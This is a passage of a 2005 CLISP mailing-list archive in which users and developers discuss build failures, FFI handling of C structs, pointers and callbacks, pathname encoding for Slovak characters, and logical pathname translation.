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(ATAN Y NEW-X)) NEW-X))) (DEFMETHOD POSITION-Y ((POS X-Y-POSITION))
(WITH-SLOTS (RHO THETA) POS (* RHO (SIN THETA)))) (DEFMETHOD (SETF
POSITION-Y) (NEW-Y (POS X-Y-POSITION)) (WITH-SLOTS (RHO THETA) POS (LET
((X (POSITION-X POS))) (SETQ RHO (SQRT (+ (* X X) (* NEW-Y NEW-Y)))
THETA (ATAN NEW-Y X)) NEW-Y))) (LIST (TYPE-OF I) (POSITION-X I)
(POSITION-Y I) (POSITION-RHO I) (POSITION-THETA I)))
CORRECT: (X-Y-POSITION 1.0000000000000002d0 1.0d0 1.4142135623730951d0
0.7853981633974483d0)
CLISP  : (X-Y-POSITION 1.2204312306997862d0 0.7318604960305054d0
1.4142135623730951d0 0.7853981633974483d0)
========
  3. format.erg

Form: (FOO 1100.0L0)
CORRECT: "  1.10L+3| 11.00$+02|+.001L+06|  1.10L+3"
CLISP  : ERROR
division by zero

Form: (FOO 3141.59L0)
CORRECT: "  3.14L+3|314.2$+01|0.314L+04|  3.14L+3"
CLISP  : ERROR
division by zero
========
  4. number.erg: File exists, size = 0.
==============================
Attempt to build a debug version fails:
  Command line: ./configure --with-debug --build build-g
  Output at failure:
...
ln -s ../src/dutch.lisp dutch.lisp
rm -f deprecated.lisp
ln -s ../src/deprecated.lisp deprecated.lisp
cp -p ../src/cfgsunux.lisp config.lisp
chmod +w config.lisp
echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >>
config.lisp
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
-x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
STACK depth: 23975
SP depth: 263481
Segmentation Fault - core dumped
make: *** [interpreted.mem] Error 139
==============================
Complete output from attempt to build debug version follows (1705
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> * Williams, Mark L CIV NSWC-PC <znex.y.jvyyvnzf@anil.zvy> [2005-04-07 08:27:15 -0400]:
>
> ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
> -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> STACK depth: 23975
> SP depth: 263481
> Segmentation Fault - core dumped

$ cd build-g
$ gdb lisp.run
(gdb) run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
> (load "init.lisp")

segmentation fault
(gdb) where
???

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Sam Steingold:
> how about
> 
> (ffi:with-c-var (pointer 'ffi:c-pointer intr)
>  (setf (ffi:slot (ffi:foreign-value
>                    (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp)))
>                  ...)
>        ...))

[2]> (setq intr (tcl-ffi:Tcl-CreateInterp))
#<FOREIGN-ADDRESS #x008FD4F0>
[3]> (ffi:with-c-var (pointer 'ffi:c-pointer intr)
                (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp)))
#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)
[4]> (ffi:with-c-var (pointer 'ffi:c-pointer intr)
       (setf (ffi:slot (ffi:foreign-value
                     (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp)))
'result) "foo"))

*** - FFI::%SLOT: #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL
:|ERRORlINE| 0) is not of type
       FFI:FOREIGN-VARIABLE

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [5]>

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Date: Fri Apr  8 07:47:15 2005
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Why don't you examine clsip/tests/ffi.tst:

(def-c-struct triv (i int))
(def-call-out c-self (:name "ffi_identity")
  (:arguments (obj c-pointer))
  (:return-type (c-pointer triv)) (:language :stdc))
(with-c-var (v 'triv (make-triv :i 8476272))
  (with-c-place (w (c-self (c-var-object v)))
    (setf (slot v 'i) -74590302)
    (list
     (typeof w)
     (slot w 'i))))

It appears that you need to make your function return a
   (c-pointer tcl-ffi:Tcl-Interp)
and you need to use with-c-place:

[1]> (use-package "FFI")
T
[2]> (def-c-struct fs (zz int))
FS
[5]> (setq s (foreign-allocate (parse-c-type 'fs)))
#<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x1005CEA0>
[6]> (foreign-value s)
#S(FS :ZZ 0)
[7]> (setf (slot (foreign-value s) 'zz) 123)
123
[8]> (foreign-value s)
#S(FS :ZZ 123)
[16]> (with-c-place (w s) (setf (slot w 'zz) 12))
12
[17]> (foreign-value s)
#S(FS :ZZ 12)
[18]> (foreign-free s)

sorry that it took me so long to figure this out.



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  CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31])
OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version)
FILESYSTEM: FAT32

I have a problem with slovak characters in pathnames.

evaluate:
(directory "e:\\sto=BEiar\\")

error:
** - Continuable Error
PARSE-NAMESTRING: syntax error in filename "e:\\sto=BEiar\\" at position =
6

(character "=BE")
#\LATIN_SMALL_LETTER_Z_WITH_CARON

If directory "e:\\sto=BEiar\\" exists, then same error occur after evalua=
ting:
(directory "e:\\*/")

The same error after
(namestring "e:\\sto=BEiar\\")
or
(namestring "e:\\sto=BEiar.txt")



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Pavlica Stanislav writes:
>   CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31])
> OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version)
> FILESYSTEM: FAT32
> 
> I have a problem with slovak characters in pathnames.
> 
> evaluate:
> (directory "e:\\sto=BEiar\\")
> 
> error:
> ** - Continuable Error
> PARSE-NAMESTRING: syntax error in filename "e:\\sto=BEiar\\" at position =
> 6

What is the value of CUSTOM:*PATHNAME-ENCODING* ?

> (character "=BE")
> #\LATIN_SMALL_LETTER_Z_WITH_CARON
> 
> If directory "e:\\sto=BEiar\\" exists, then same error occur after evalua=
> ting:
> (directory "e:\\*/")
> 
> The same error after
> (namestring "e:\\sto=BEiar\\")
> or
> (namestring "e:\\sto=BEiar.txt")

On the other hand, I get this error (on unix):

[90]> (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)"
[91]> (let ((CUSTOM:*PATHNAME-ENCODING*  
              (ext:make-encoding :charset charset:iso-8859-2))) 
      (directory (concatenate 'string "sto" 
                      #(#\LATIN_SMALL_LETTER_Z_WITH_CARON) "iar")))

*** - Character #\u017E cannot be represented in the character set CHARSET:ISO-8859-1


Why CUSTOM:*PATHNAME-ENCODING* isn't taken into account?
Oh, it's not a dynamic variable, it's a symbol macro (why then is it
named '*' pathname-encoding '*' ?)


[93]> (setf CUSTOM:*PATHNAME-ENCODING*  (ext:make-encoding :charset charset:iso-8859-2))
#<ENCODING CHARSET:ISO-8859-2 :UNIX>
[94]> (parse-namestring (concatenate 'string "e:\\sto" #(#\LATIN_SMALL_LETTER_Z_WITH_CARON) "iar"))
#P"e:\\sto¸iar" ;
10


(Perhaps it's a problem that has been corrected between 2.33 and 2.33.2 ?)

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On Apr 6, 2005, at 3:36 PM, Sam Steingold wrote:

>> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 19:20:08 -0700]:
>>
>> On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote:
>>
>>>> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 14:51:12 -0700]:
>>>>
>>>> calls.c: In function `C_subr_posix_setpgrp':
>>>> calls.c:353: error: too few arguments to function `setpgrp'
>>>
>>> <http://www.opengroup.org/onlinepubs/009695399/functions/ 
>>> setpgrp.html>:
>>>  pid_t setpgrp(void);
>>>
>>> how is setpgrp() defined on your platform?
>>
>> man setpgrp returns:
>>
>>       int
>>       setpgrp(pid_t pid, pid_t pgrp);
>
>
> OK, I added a configure test for this breakage.
> could you please try clisp cvs head again?
>
> Thanks!

It fixes the problem I was having in syscalls, but now I see something  
else at a later point in the build:

~/clisp% ./configure --build build

...

cmp -s clos-genfun5.fas stage/clos-genfun5.fas  || (echo "Test failed."  
; exit 1)
cmp -s clos-dependent.fas stage/clos-dependent.fas  || (echo "Test  
failed." ; exit 1)
cmp -s clos-print.fas stage/clos-print.fas  || (echo "Test failed." ;  
exit 1)
cmp -s clos-custom.fas stage/clos-custom.fas  || (echo "Test failed." ;  
exit 1)
cmp -s documentation.fas stage/documentation.fas  || (echo "Test  
failed." ; exit 1)
cmp -s fill-out.fas stage/fill-out.fas  || (echo "Test failed." ; exit  
1)
cmp -s disassem.fas stage/disassem.fas  || (echo "Test failed." ; exit  
1)
cmp -s condition.fas stage/condition.fas  || (echo "Test failed." ;  
exit 1)
Test failed.
make: *** [check-recompile] Error 1

I have put a complete copy of the build log here:  
http://www.margay.org/~lars/clisp-build.log.gz

this is with:
cvs as of Thu Apr  7 10:23:16 PDT
Mac OS X 10.3.8
gcc version 3.3 20030304 (Apple Computer, Inc. build 1671

When I try on a different machine with osx 10.3.8, it also stops here  
(I was worried it might be a hardware problem).

-Lars

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> * Pavlica Stanislav <fgn@cniyvpn.fx> [2005-04-09 18:33:35 +0200]:
>
> CLISP: 2.33 (2004-03-17) (built on winsteingoldlap [10.0.61.31])
> OS: Microsoft Windows 98, second edition, 4.10.2222A (slovak version)
> FILESYSTEM: FAT32
>
> I have a problem with slovak characters in pathnames.
>
> evaluate:
> (directory "e:\\sto=C5=BEiar\\")
>
> error:
> ** - Continuable Error
> PARSE-NAMESTRING: syntax error in filename "e:\\sto=C5=BEiar\\" at positi=
on 6
>
> (character "=C5=BE")
> #\LATIN_SMALL_LETTER_Z_WITH_CARON

please check that *terminal-encoding* and *pathname-encoding* support
slovak characters.
<http://clisp.cons.org/impnotes/encoding.html#path-enc>
<http://clisp.cons.org/impnotes/encoding.html#term-enc>

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> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-09 11:03:33 -0700]:
>
> cmp -s condition.fas stage/condition.fas  || (echo "Test failed." ;
> exit 1)
> Test failed.
> make: *** [check-recompile] Error 1
>
> I have put a complete copy of the build log here:
> http://www.margay.org/~lars/clisp-build.log.gz
>
> this is with:
> cvs as of Thu Apr  7 10:23:16 PDT
> Mac OS X 10.3.8
> gcc version 3.3 20030304 (Apple Computer, Inc. build 1671

confirmed:

$ diff -U 20 condition.fas stage/condition.fas
--- condition.fas       2005-04-06 12:34:40.665644800 -0400
+++ stage/condition.fas 2005-04-09 14:59:16.631678400 -0400
@@ -2781,26 +2781,26 @@
       #Y(|EXT|::|SET-GLOBAL-HANDLER-1|
          #20Y(00 00 00 00 01 00 00 00 00 02 2A 14 6D 01 01 64 61 02 19 02)
          (|COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL|)
          |COMMON-LISP|::|NIL|
          #Y(|EXT|::|SET-GLOBAL-HANDLER-1-1|
             #60Y(03 00 01 00 01 00 00 00 00 02 01 02 69 00 01 63 70 01 9F 10 02

                  A1 10 03 53 0F 69 00 02 B9 36 01 54 05 00 00 06 1D 10 1B 06 05

                  00 00 06 1D 08 99 04 67 00 00 06 30 05 55 12 02 19 05)
             (|COMMON-LISP|::|T| |COMMON-LISP|::|T| |COMMON-LISP|::|T|)
             |COMMON-LISP|::|NIL| |EXT|::|SET-GLOBAL-HANDLER|
             |CLOS|::|*GF-WARN-ON-REPLACING-METHOD*|
             |CLOS|::|*WARN-IF-GF-ALREADY-CALLED*| |SYSTEM|::|GLOBAL-HANDLER|
             |CLOS|::|ADD-METHOD|))
       :|QUALIFIERS| (|COMMON-LISP|::|PROGN|) :|LAMBDA-LIST|
       (|COMMON-LISP|::|CONDITION|) |CLOS|::|SIGNATURE|
       #(1. 0. |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL| |COMMON-LISP|::|NIL|
         |COMMON-LISP|::|NIL|)
       :|SPECIALIZERS| |CLOS|::|DO-DEFMETHOD| |CLOS|::|ADD-METHOD|
       |CLOS|::|GENERIC-FUNCTION-METHODS|
       (#1=#.(|COMMON-LISP|::|FUNCALL|
-             #Y(#:|CREATE-INSTANCE-OF-<BUILT-IN-CLASS>-6408|
+             #Y(#:|CREATE-INSTANCE-OF-<BUILT-IN-CLASS>-4905|
                 #17Y(00 00 00 00 00 00 00 00 00 01 64 38 02 32 2A 19 01)
                 (|COMMON-LISP|::|T| |COMMON-LISP|::|T| |COMMON-LISP|::|T|))))
       |CLOS|::|METHOD-SPECIALIZERS| |CLOS|::|REMOVE-METHOD|
       (|COMMON-LISP|::|PROGN|) |CLOS|::|FIND-METHOD|
       "~S(~S ~S): invalid arguments" |EXT|::|SET-GLOBAL-HANDLER|))


As one can see, the difference is in a gensym number.
everything should work fine, do not worry.
try this:
$ touch condition.lisp
$ make check

Bruno, how should this be handled in general?

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> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-09 11:03:33 -0700]:
>
> cmp -s condition.fas stage/condition.fas  || (echo "Test failed." ;
> exit 1)
> Test failed.
> make: *** [check-recompile] Error 1

fixed in the CVS.

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Sam Steingold:

> It appears that you need to make your function return a
>    (c-pointer tcl-ffi:Tcl-Interp)

Yes! It that is necessary! Thanks!

> 
> sorry that it took me so long to figure this out.
> 

Excuse, that me for a long time reaches...

Next a question:

foreign function return pointer of structure:

typedef struct {
char *result;
Tcl_FreeProc *freeProc;
int errorLine;
} Tcl_Interp;

Now I defined:

(ffi:def-c-struct Tcl-Interp
  (result ffi:c-string)
  (freeProc *Tcl-FreeProc)
  (errorLine ffi:int))

(ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp))

(ffi:def-call-out ...
  (:return-type *Tcl-Interp)...

That is work. But the pointer of field "result" is necessary for a call
of function "freeProc" if pointer of function is not nil.

How to receive not only value of a field "result", but also the pointer
of it?

Excuse if not it is understandable.

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clisp from CVS head, mingw

"make distrib" append in archive *.lisp files of clisp but not include
*.lisp files of built modules. Why?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-11 11:45:25 +0300]:
>
> Next a question:
"the next question"

> foreign function return pointer of structure:
>
> typedef struct {
> char *result;
> Tcl_FreeProc *freeProc;
> int errorLine;
> } Tcl_Interp;
>
> Now I defined:
>
> (ffi:def-c-struct Tcl-Interp
>   (result ffi:c-string)
>   (freeProc *Tcl-FreeProc)
>   (errorLine ffi:int))
>
> (ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp))
>
> (ffi:def-call-out ...
>   (:return-type *Tcl-Interp)...
>
> That is work. But the pointer of field "result" is necessary for a
> call of function "freeProc" if pointer of function is not nil.
>
> How to receive not only value of a field "result", but also the
> pointer of it?

<http://clisp.cons.org/impnotes/dffi.html#c-var-addr>

there might be a more efficient way, but this is all I could come up
with in 1 minute.

Jorg?

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Date: Mon Apr 11 08:30:42 2005
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Sam Steingold:

>>Next a question:
> 
> "the next question"

Excuse. Thanks.

>>foreign function return pointer of structure:
>>
>>typedef struct {
>>char *result;
>>Tcl_FreeProc *freeProc;
>>int errorLine;
>>} Tcl_Interp;
>>
>>Now I defined:
>>
>>(ffi:def-c-struct Tcl-Interp
>>  (result ffi:c-string)
>>  (freeProc *Tcl-FreeProc)
>>  (errorLine ffi:int))
>>
>>(ffi:def-c-type *Tcl-Interp (ffi:c-pointer Tcl-Interp))
>>
>>(ffi:def-call-out ...
>>  (:return-type *Tcl-Interp)...
>>
>>That is work. But the pointer of field "result" is necessary for a
>>call of function "freeProc" if pointer of function is not nil.
>>
>>How to receive not only value of a field "result", but also the
>>pointer of it?
> 
> 
> <http://clisp.cons.org/impnotes/dffi.html#c-var-addr>
> 
> there might be a more efficient way, but this is all I could come up
> with in 1 minute.

Such combination gives the result necessary to me?

[4]> (setq interp (tcl-ffi:Tcl-CreateInterp))
#<FOREIGN-VARIABLE #x008FFB98>

[17]> (ffi:foreign-value interp)
#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)

[23]> (ffi:offset (ffi:foreign-value interp) 0 'ffi:c-pointer)
#<FOREIGN-ADDRESS #x008FFCB0>
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

How from #<FOREIGN-ADDRESS ...> to receive #<FOREIGN-VARIABLE ...> any type?

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-11 18:31:12 +0300]:
>
> How from #<FOREIGN-ADDRESS ...> to receive #<FOREIGN-VARIABLE ...> any type?

we have been through this last week.
with-c-var &c.

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On Apr 9, 2005, at 1:12 PM, Sam Steingold wrote:

>> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-09 11:03:33 -0700]:
>>
>> cmp -s condition.fas stage/condition.fas  || (echo "Test failed." ;
>> exit 1)
>> Test failed.
>> make: *** [check-recompile] Error 1
>
> fixed in the CVS.

make check passes now with no unexpected failures.  Thank you very much!

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Hi,
[sorry for not being able to answer questions here earlier. I was just =
away.]

Pascal Bourguignon writes:
>It seems that:
>    (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent) ...) ...)
>has the same effect as:
>    (ffi:with-c-var (d 'susv3:dirent ...) ...)

Not at all. The C-level structure laid out in memory has one more =
pointer indirection.
However, consider
(with-c-var (p '(c-ptr (c-ptr c-string)) "abc") p) -> "abc"
(with-c-var (p 'c-string "abc") p) -> "abc"
That is, the Lisp side does not see ptr to ptr to ptr. It only sees the =
objects resulting from conversion. (C-PTR X) is converted to the same =
Lisp object as X is (and recursively).


>COM.INFORMATIMAGO.SUSV3.DIRENT[69]>=20
>(DEFUN READDIR (DIR-STREAM)
>  (ffi:with-c-var (d 'susv3:dirent
>                     (FFI:UNSIGNED-FOREIGN-ADDRESS

This cannot work. WITH-C-VAR expects a foreign object of the correct =
type, and you supply an (untyped) pointer.

>                       (check-pointer (susv3:readdir DIR-STREAM)
I don't know what that returns, so I cannot show a solution.

It's possible that you must work with pointers to some structure =
instead of an instance object copied back and forth from/to Lisp. For =
these, I recommmend you investigate (c-pointer xyz) instead of (c-ptr =
xyz).

>How can one use a pointer to a C structure (compare the address with
>specific numbers and fetch fields) with FFI, if at all possible?

For comparison of addresses, you already found out about =
unsigned-foreign-address and its sibling. For working with slots, you =
indeed need with-c-var and sisters to create places out of (preferrably =
typed) pointers, and use SLOT to access the places.

Mind you, EQUALP does not work correctly with pointers, even though =
simple tests look like it does. The difference is what I call the =
foreign base (see the foreign-pointer function). A CLISP foreign =
pointer is like X+Y, and you can have X1+Y1=3D=3DX2+Y2, yet the =
components differ.


>(ffi:def-c-type pointer ffi:ulong)
>(ffi:def-c-type dirp   pointer)
>(ffi:def-call-out readdir (:name "readdir")
>  (:arguments (dir dirp))

That would be a really poor poor modeling of that function.
1. Don't use integers for pointers -- you wouldn't do that even in C.
2. Don't use untyped pointers when you want to access slots *AND* work =
with references. Use (c-pointer xyz)
3. Use (c-ptr xyz) when its fine to convert the foreign structure to a =
Lisp object.

In this case, both (c-ptr-null dirent) and (c-pointer dirent) would be =
good choices for readdir() :return-type IMHO.

What did you want to achieve that the old bindings/linux.lisp =
file/module did not already provide or at least show how to use?

Please have a look at the latest impnotes. I tried to stress the =
difference between (c-pointer x) and (c-ptr x). (C-pointer x) was not =
present in the past.

Regards,
	J=F6rg H=F6hle.


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clisp from CVS head, mingw

[1]> (ffi:def-c-struct my-struct
  (my-int ffi:int)
  (my-str ffi:c-string)
  (int-ptr (ffi:c-pointer ffi:int))
  (str-ptr (ffi:c-pointer ffi:c-string))
  (void-ptr ffi:c-pointer))
MY-STRUCT
[2]> (setq s1 (ffi:allocate-shallow 'my-struct))
#<FOREIGN-VARIABLE FFI:FOREIGN-ALLOCATE #x014EDCA0>
[3]> (setf (ffi:slot (ffi:foreign-value s1) 'my-int) 6783)
6783
[4]> (ffi:foreign-value s1)
#S(MY-STRUCT :MY-INT 6783 :MY-STR NIL :INT-PTR NIL :STR-PTR NIL
:VOID-PTR NIL)

[5]> (setf (ffi:slot (ffi:foreign-value s1) 'my-str) "EXAMPLE")

*** - handle_fault error2 ! address = 0x0 not in [0x1a190000,0x1a2f77d0)  !
SIGSEGV cannot be cured. Fault address = 0x0.
...

How I can set structure field with c-string type?

Thanks.

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Hi,

Yaroslav Kavenchuk wrote:
>[1]> (ffi:def-c-struct my-struct
>  (my-str ffi:c-string)
>  (str-ptr (ffi:c-pointer ffi:c-string))
>  (void-ptr ffi:c-pointer))
>MY-STRUCT
>[2]> (setq s1 (ffi:allocate-shallow 'my-struct))
>#<FOREIGN-VARIABLE FFI:FOREIGN-ALLOCATE #x014EDCA0>

>(setf (ffi:slot (ffi:foreign-value s1) 'my-str) "EXAMPLE")

This is not supported syntax. The official syntax to access foreign-variable objects is
(with-c-place (my s1) ; "my" place name chosen arbitrarily
  (slot my 'my-str)
  (setf (slot my 'my-str) foo)))


>*** - handle_fault error2 ! address = 0x0 not in 
>[0x1a190000,0x1a2f77d0)  !
>SIGSEGV cannot be cured. Fault address = 0x0.

Allocate-shallow does what the name says: it does not allocate space for substructures, like storage room for the characters of your string.

You did not allocate storage for the string. Therefore, trying and setting the str-ptr slot caused a NULL pointer error.

Possible solution paths:

o Use allocate-shallow a second time to make room for your string, doing storage management by hand. This requires explicit cast'ing to see the str-ptr sometimes as c-string, sometimes as c-pointer.

o Use (c-ptr (c-array-max character NNN)) together with allocate-deep to use bounded buffers instead of unbounded strings. The FFI would then fill the buffer and perform boundary checking.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril:

> Allocate-shallow does what the name says: it does not allocate space for
> substructures, like storage room for the characters of your string.
> 
> You did not allocate storage for the string. Therefore, trying and
> setting the str-ptr slot caused a NULL pointer error.
> 
> Possible solution paths:
> 
> o Use allocate-shallow a second time to make room for your string, doing
> storage management by hand. This requires explicit cast'ing to see the
> str-ptr sometimes as c-string, sometimes as c-pointer.
> 
> o Use (c-ptr (c-array-max character NNN)) together with allocate-deep to
> use bounded buffers instead of unbounded strings. The FFI would then
> fill the buffer and perform boundary checking.

Like this?

[1]> (ffi:def-c-struct my-struct
  (my-int ffi:int)
  (my-str ffi:c-string)
  (int-ptr (ffi:c-pointer ffi:int))
  (str-ptr (ffi:c-pointer ffi:c-string))
  (void-ptr ffi:c-pointer))
MY-STRUCT

[8]> (setq s1 (ffi:allocate-shallow 'my-struct))
#<FOREIGN-VARIABLE FFI:FOREIGN-ALLOCATE #x008FF4E8>
[9]> (ffi:foreign-value s1)
#S(MY-STRUCT :MY-INT 0 :MY-STR NIL :INT-PTR NIL :STR-PTR NIL :VOID-PTR NIL)

[14]> (ffi:with-c-place (my s1)
  (setf (ffi:cast (ffi:slot my 'my-str) 'ffi:c-pointer)
    (ffi:cast (ffi:foreign-value
      (ffi:allocate-deep 'ffi:c-string "EXAMPLE")) 'ffi:c-pointer)))
#<FOREIGN-ADDRESS #x014EEF88>
[15]> (ffi:foreign-value s1)
#S(MY-STRUCT :MY-INT 0 :MY-STR "EXAMPLE" :INT-PTR NIL :STR-PTR NIL
:VOID-PTR NIL)


I should free :my-str if it not nil before set? How?

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How define unnamed call-in function and determine it address?
How call c-function to its address (without name)?

Thanks.

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Hi,

Yaroslav Kavenchuk wrote:
>How define unnamed call-in function and determine it address?

I suggest you look at tests/ffi.tst again:

[17]> (defun callback (x) (/ x 3))
CALLBACK
[18]> (with-c-var (x '(c-function (:arguments (x uint))
    (:return-type uint)
    (:language :stdc)) #'callback) x)
;; or use #'(lambda ...) here instead
#<FOREIGN-FUNCTION #x081C3F10>
[19]> (setq foo *)
#<FOREIGN-FUNCTION #x081C3F10>
[20]> (funcall foo 123)
41
[23]> (funcall foo 2)
*** - 2/3 cannot be converted to the foreign type UINT
The following restarts are available:
ABORT          :R1      ABORT

[25]> (foreign-address foo)
#<FOREIGN-ADDRESS #x081C3F10>
[...]> (foreign-free foo)
NIL
[...]> **
#<INVALID FOREIGN-FUNCTION #x081C3EE0>

Arguably, the current ffi:foreign-function constructor could be enhanced to accept a Lisp function objects as input and create a foreign-function object from it. That seems to make some sense.


Note that when some call-out function has as :argument (c-function ...), a Lisp function is automatically converted to a foreign function pointer that is then passed to the foreign function. But then, you don't get to see its address.


>How call c-function to its address (without name)?
Use funcall on the #<foreign-function #> object or what do you mean?

Regards,
	Jorg Hohle.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-11 15:31:06 +0300]:
>
> "make distrib" append in archive *.lisp files of clisp but not include
> *.lisp files of built modules. Why?

fixed, thanks.

> Thanks for your excellent work!
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Hoehle, Joerg-Cyril:
<skip>
>>How call c-function to its address (without name)?
> 
> Use funcall on the #<foreign-function #> object or what do you mean?

Now nothing :)

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How define it?
For example - printf.

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I've been googling for over an hour and still don't know how to convert a n=
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This will do it:

[1]> (setf number 3)
3
[2]> (format nil "~a" number)
"3"

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-21 13:59:32 +0300]:
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> How define it?
> For example - printf.

see modules/bindings/glibc/linux.lisp and search for "fcntl".


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> * E. Cerme=C3=B1o <prezrr@yvahkznvy.bet> [2005-04-21 20:46:31 +0800]:
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> I've been googling for over an hour and still don't know how to
> convert a number to a string in LISP.

http://www.lisp.org/HyperSpec/Body/fun_write-to-_nc-to-string.html

e.g.

(write-to-string 15 :base 7) =3D=3D> "21"


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Date: Fri Apr 22 08:07:44 2005
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With clisp fetched from cvs yesterday:

[11]> (logical-pathname-translations "PACKAGES")
((#P"PACKAGES:**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*"))
[12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")

*** - TRANSLATE-PATHNAME: replacement pieces
       ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL)
      do not fit into
       #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*"

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [13]> (lisp-implementation-version)
"2.33.83 (2005-03-14) (built 3323118044) (memory 3323164397)"
Break 1 [13]> 


I don't understand it. For me, 

 ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL)

fits perfectly into:

 #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*"

Just write:

 #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/com/informatimago/common-lisp/package.lisp"

clisp-2.33.2 agrees with me!

$ clisp -q -ansi -norc

[1]> (load "/local/users/pjb/src/lisp/encours/bellerophon/init.lisp")
T
[2]> (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)"
[3]> (logical-pathname-translations "PACKAGES")
((#P"PACKAGES:**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*"))
[4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
#P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/com/informatimago/common-lisp/package.lisp"
[5]> 


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-22 17:06:18 +0200]:
>
> With clisp fetched from cvs yesterday:
>
> [11]> (logical-pathname-translations "PACKAGES")
> ((#P"PACKAGES:**;*.*"
>   #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*")
>  (#P"PACKAGES:**;*"
>   #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*")
>  (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
>   #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*")
>  (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
>   #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*"))
> [12]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
>
> *** - TRANSLATE-PATHNAME: replacement pieces
>        ((:DIRECTORY "com" "informatimago" "common-lisp") "package" "lisp" NIL)
>       do not fit into
>        #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*"
>
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [13]> (lisp-implementation-version)
> "2.33.83 (2005-03-14) (built 3323118044) (memory 3323164397)"
> Break 1 [13]> 

WFM:

[1]> (setf (logical-pathname-translations "PACKAGES") '((#P"PACKAGES:**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/install/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/local/users/pjb/src/lisp/encours/bellerophon/ucw-0.3.7/**/*")))

((#P"PACKAGES:**;*.*"
  #P"\\local\\users\\pjb\\src\\lisp\\encours\\bellerophon\\install\\packages\\**\\*.*")
 (#P"PACKAGES:**;*"
